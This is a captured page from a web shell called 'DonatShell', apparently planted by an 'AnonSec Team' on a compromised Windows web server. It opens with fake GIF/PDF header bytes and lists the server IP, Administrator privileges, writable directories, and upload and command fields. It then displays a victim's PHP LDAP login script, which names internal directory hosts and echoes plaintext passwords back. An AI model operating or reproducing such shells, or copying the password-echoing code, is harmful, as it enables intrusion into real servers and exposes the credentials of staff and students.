GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/User db/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/User db//AuthenticateUserNetware.php
<?
// Login/AuthenticateUserNetware.php

if ($DEBUG_AuthenticateUser) echo "<b>".basename(__FILE__).":".__LINE__.":</b><br>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$skipAuthentication = true;
include('application.phpinc');
//$DEBUG_AuthenticateUser = true; //
if ($DEBUG_AuthenticateUser) echo "<b>".basename(__FILE__).":".__LINE__.":</b><br>\n";
if ($DEBUG_AuthenticateUser) echo __FILE__." on ".$_SERVER['HTTP_HOST']."<br>\n";
$searchstring="(objectclass=user)";
$attnames=array("dn","cn","surname","mail","groupmembership");
$server = "kermit.ridgewater.edu"; //replace this with the DNS hostname or IP of your server !!!
if ($DEBUG_AuthenticateUser) echo "\$server=".$server."<br>\n";
$f_username = formValue('username');
$f_password = formValue('password');
if ($DEBUG_AuthenticateUser) echo "\$f_username=".$f_username."<br>\n";
if ($DEBUG_AuthenticateUser) echo "\$f_password=".$f_password."<br>\n";
$cn = "cn=".$f_username;
$pw = $f_password;
$dn = array();
$dn[] = ",ou=Student,o=HC";
$dn[] = ",ou=Staff,o=HC";
$dn[] = ",ou=Student,ou=Electronics,o=WC";
$dn[] = ",ou=Student,o=WC";
$dn[] = ",ou=Staff,o=WC";
$nds = ldap_connect($server,389);
$current_error_reporting = ini_get("error_reporting");
error_reporting(E_ERROR);
$sr = false;
foreach ($dn as $thisDN) {
	if (!$sr) {
		if ($DEBUG_AuthenticateUser) echo "\$thisDN=".$thisDN." \n";
		$sr = ldap_bind($nds, $cn.$thisDN, $pw);
		if ($DEBUG_AuthenticateUser) { if ($sr) { echo "true"; } else { echo "false"; } echo "<br>\n"; }
		if ($sr) { $dnUsed = $thisDN; }
	}
}
if(!$sr){
	echo "Not Authenticated;";
	echo ldap_error($nds);
	exit;
}
error_reporting($current_error_reporting);
// Search surname entry
$dn = $cn.$dnUsed;
if ($DEBUG_AuthenticateUser)  echo "\$dn=".$dn."\n";
$sr=ldap_search($nds, $dn, "sn=*");
if ($DEBUG_AuthenticateUser)  echo "Search result is " . $sr . "<br>\n";
if ($DEBUG_AuthenticateUser)  echo "Number of entires returned is " . ldap_count_entries($nds, $sr) . "<br>\n";
if ($DEBUG_AuthenticateUser)  echo "Getting entries ..." . "<br>\n";
$info = ldap_get_entries($nds, $sr);
if ($DEBUG_AuthenticateUser) echo "Data for " . $info["count"] . " items returned:" . "<br>\n";
for ($i=0; $i<$info["count"]; $i++) {
	 echo "Authenticated;";
	 echo $f_username . ";";
	 echo $f_password . ";";
	 echo $info[$i]["givenname"][0] . ";";
	 echo $info[$i]["sn"][0] . ";";
	 echo $info[$i]["mail"][0] . ";";
	 echo $info[$i]["dn"] . ";";
	 if (isset($info[$i]['logingraceremaining'])) { echo $info[$i]['logingraceremaining'][0] . ";"; } else { echo "6;"; }
}
// passwordexpirationtime

if ($DEBUG_AuthenticateUser) {
	print_r(getdate())."<br>\n";
	echo "<PRE>";
	print_r($info);
	echo "</PRE>\n";
	echo "Closing connection";
}
ldap_close($nds);
?>

Anon7 - 2022
AnonSec Team